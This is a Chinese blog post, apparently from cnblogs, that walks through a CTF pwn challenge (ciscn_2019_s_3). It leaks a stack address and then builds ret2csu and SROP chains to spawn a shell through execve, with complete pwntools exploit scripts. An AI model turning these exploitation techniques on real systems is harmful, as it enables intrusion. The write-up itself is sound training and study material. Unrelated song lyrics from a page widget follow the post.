求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

ciscn_2019_s_3

ciscn_2019_s_3

0x01

64位开启NX

image-20230808184656119

注意程序直接使用sys_read和sys_write函数而不是通常的read和write,在构造payload时要注意在函数返回时没有pop rbp这一步而是直接执行ret,所以我们直接覆盖rbp为vuln函数地址。

0x02

本题两种做法,一种是ret2csu,利用__libc_csu_init布置栈空间;一种是SROP

题目也给出了相应的gadgets,若选择rax传参0xF(系统调用号),则可执行sigreturn系统调用;若选择rax传参0x3B,则可执行excve('/bin/sh',0,0)系统调用

image-20230808184158810

我们需要在栈上布置ROPgadgets和各参数,而栈地址是随机的,所以我们首先要泄露栈地址。

同时我们知道栈上的各地址间的相对位置是不变的,所以泄露出栈地址后可以通过与buf的偏移计算出buf的地址

经过调试发现,如图: buf的起始地址为0x7fffffffded0,目标泄露栈地址(即某个rbp的值)为图中栈偏移为02的地址0x7fffffffe018,二者相差0x148。这是本地的偏移,若要获得与远程环境相同的偏移要应用patchelf。具体可看这篇文章。用相同的方法调试可得远程偏移为0x118.

image-20230808185715664

image-20230808185747565

在接收泄露的栈地址之前需要去掉多余的buf(0x10)+rbp(vul_addr)+栈上偏移为01的地址。

exp第一部分

vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

0x03

第一种做法:ret2csu控制执行execve

__libc_csu_init (具体可以看ctf-wiki中的介绍)

image-20230808200450127

需要将各寄存器置为: rax 0x3B rdi = '/bin/sh' rsi = 0 rdx = 0

ROPgadget 能找到控制rdi和rsi的,以及syscall (不过实际上没有用rsi的,因为csu中有pop r14和mov rsi, r14指令,可以通过栈上布置将rsi置为0)

image-20230808202429992

image-20230808200850211

现在还要想办法控制rdx

通过__libc_csu_init可以看到,我们可以先执行pop r13然后再执行mov rdx, r13将rdx置为0

同时还要注意:

  1. 0x400589: call [r12 + rbx * 8], 会执行r12+rbx8地址指向的函数,不过这里没有需要执行的函数,所以可以在buf里放了个ret;的地址..., 然后让r12 + rbx8指向buf;call函数之前会自动将下一条指令入栈,接着执行ret则rsp指针相当于不变
  2. cmp rbx, rbp; jnz short loc_400580, 如果rbx和rbp相同会循环。想要绕过需要使 rbx = 0 rbp = 1
  3. 泄露函数地址后直接重进的vul函数,buf的地址不变
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'#为之后函数跳转和传入binsh做准备
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # 6个pop
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr,r13 r14 r15 = 0
payload += p64(0x400580)         #执行寄存器r12指向的函数  (也就是ret);把rdx设为0            
payload += p64(0) * 7 # 这里执行到0x400596后又会重新pop一遍, 开头执行add rsp, 8让rsp跳过了栈上的一个数据,如何执行6pop,所以栈上布置7个0
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

第二种:SROP

具体可参考ctf-wiki

本题解法可参考这篇博客

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)

利用pwntools的sigframe模块即可

其实这两种解法都是以程序读入足够多的字节为条件的

完整exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h'] 
p = process('./ciscn_s_3')
#p = remote('node4.buuoj.cn',29591)


pop_rdi_ret = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

gdb.attach(p)

payload = p64(ret_addr) + b'/bin/sh\00'


payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7
payload += p64(pop_rdi_ret) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
#payload += p64(vul_addr)
'''

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
'''

p.send(payload)
p.interactive()

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/17615372.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(113)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.